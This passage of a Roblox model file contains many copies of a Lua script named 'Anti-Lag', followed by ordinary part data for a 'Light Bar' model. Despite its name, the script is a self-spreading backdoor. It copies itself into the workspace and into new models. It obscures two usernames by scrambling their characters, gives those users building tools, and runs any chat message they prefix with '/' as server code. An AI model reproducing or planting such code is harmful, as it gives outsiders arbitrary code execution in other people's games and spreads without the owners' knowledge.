local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX3668">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3669">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3670">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3671">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3672">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3673">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3674">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX3675">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX3676">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3677">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX3678">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX3679">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-251.600006</X>
											<Y>11.999999</Y>
											<Z>264.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">A</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3680">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3681">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-251.100006</X>
											<Y>11.999999</Y>
											<Z>266</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">B</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3682">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
